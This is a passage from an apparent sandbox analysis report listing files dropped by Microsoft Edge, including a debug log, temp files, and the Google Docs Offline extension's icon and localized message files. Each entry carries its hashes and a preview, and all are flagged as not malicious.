Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.417525157121842
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0cp5nwv0Nr35M:JIVuwEw5MUFZLBQLtrPM
MD5:	E41D5210CCD3F4A518C929E7164C8AFC
SHA1:	84839ECFA2E5565CA513EEF12C93E72C06E5B959
SHA-256:	701A10DF2A1E0C072115872BFC2F082D06531D1DFC246B9F571BE3F051B3B47C
SHA-512:	9C55FFC00F0387806211EAB268427BCC3AADA5DAB2686AEA6D6BED9995A9A8EF7942A3418304635ED8FA4FCE3684D4AF32617CD2D836BCFC00BD6DE772AA796B
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\eca2eea7-c96a-4e1d-bb03-d162815e4269.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\f4075fb0-610b-4d1c-ae08-e3d1b17ec5ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\7a4b1115-1222-4a7b-a3b5-6d67019dfb0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und 